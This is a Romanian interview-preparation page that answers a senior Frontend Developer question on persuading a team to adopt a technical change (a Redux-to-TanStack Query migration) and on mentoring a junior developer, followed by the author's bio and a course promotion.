Cum ai convinge echipa să adopte o schimbare tehnică importantă și cum ai ajuta un junior să se dezvolte?

Răspuns scurt: Pentru o schimbare tehnică, pornești de la problema măsurabilă, propui soluția cu compromisuri într-un document scurt, testezi printr-un pilot și decizi împreună cu echipa. Pentru un junior, combini sarcini cu dificultate crescătoare, pair programming, review-uri explicative și autonomie treptată.

La nivel senior, influența asupra echipei contează la fel de mult ca propriul cod.

Adoptarea unei schimbări tehnice, de exemplu migrarea datelor de la server din Redux în TanStack Query: 1. Problema, cu dovezi: „În ultimul trimestru, o parte importantă din bug-urile de frontend au fost legate de date vechi sau de cereri duplicate.” Datele din tracker-ul de bug-uri sau metricile de performanță conving mai mult decât preferințele. 2. Propunere scrisă scurt (un RFC sau un ADR): contextul, variantele analizate, inclusiv „nu facem nimic”, compromisurile, planul de migrare și riscurile. 3. Pilot: aplici soluția pe o singură funcționalitate și arăți rezultatul concret, cod mai puțin și bug-uri dispărute. 4. Decizie colectivă: asculți obiecțiile; adesea scot la iveală probleme reale. O schimbare impusă e adoptată superficial. 5. Migrare treptată, cu documentație și exemple, fără o rescriere completă care blochează livrarea.

Dezvoltarea unui junior:

  • sarcini cu dificultate crescătoare și context clar: de ce contează sarcina, nu doar ce trebuie făcut;
  • pair programming la început, apoi tot mai multă autonomie;
  • review-uri care explică motivul, nu doar „schimbă asta”, și care laudă ce e bine;
  • încurajarea întrebărilor: „mai bine întrebi după 30 de minute blocat decât după o zi”;
  • discuții periodice despre obiective și progres, cu feedback specific;

Exemplu de încheiere: „Cel mai bun semn că mentoratul a funcționat a fost când juniorul cu care lucrasem a început să facă el review-uri pentru colegii noi.”

Intervievatorul caută echilibrul: convingere fără impunere și ajutor fără a face munca în locul celuilalt.

Ce urmărește intervievatorul: La senior se urmărește impactul dincolo de propriul cod: influență, decizii argumentate, creșterea echipei. Greșeala tipică: o schimbare impusă prin autoritate sau mentorat redus la rezolvarea problemelor în locul juniorului.

Întrebări de interviu pe tehnologii

Pregătire de interviu pentru alte meserii

Exerciții rezolvate pentru Frontend Developer

← Toate întrebările de interviu

Tudor Andrei Dumitrescu
Cine coordonează pregătirea de interviu

Tudor Andrei Dumitrescu

Senior Software Developer · fondatorul Academiei Programatorilor

LinkedIn
  1. 2019 Junior JavaCognizant Softvision
  2. 2021 Mid JavaCognizant Softvision
  3. 2022 Team LeaderEndava
  4. 2023 Senior Software DeveloperUniCredit
  5. Acum Senior Software DeveloperHCLTech
Certificat de absolvire Instructor / Preparator formare, Tudor Andrei Dumitrescu
Certificat de formator autorizatMinisterul Muncii și Ministerul Educației · 2022
Certificat de absolvire Instructor / Preparator formare, Tudor Andrei Dumitrescu

Certificat de formator autorizat · Ministerul Muncii și Ministerul Educației · 2022

Din 2020 construiește Academia Programatorilor, iar din 2026 și JoburiIT.ro. Întrebările de aici urmăresc ce se cere la interviurile de Frontend Developer, de la junior la mid, iar pe JoburiIT.ro îți poți certifica apoi cunoștințele.

De la întrebări la primul job de Frontend Developer

Traseul de carieră îți pune cursurile în ordine, cu exerciții verificate automat și proiecte despre care poți vorbi la interviu. Primele lecții sunt gratuite.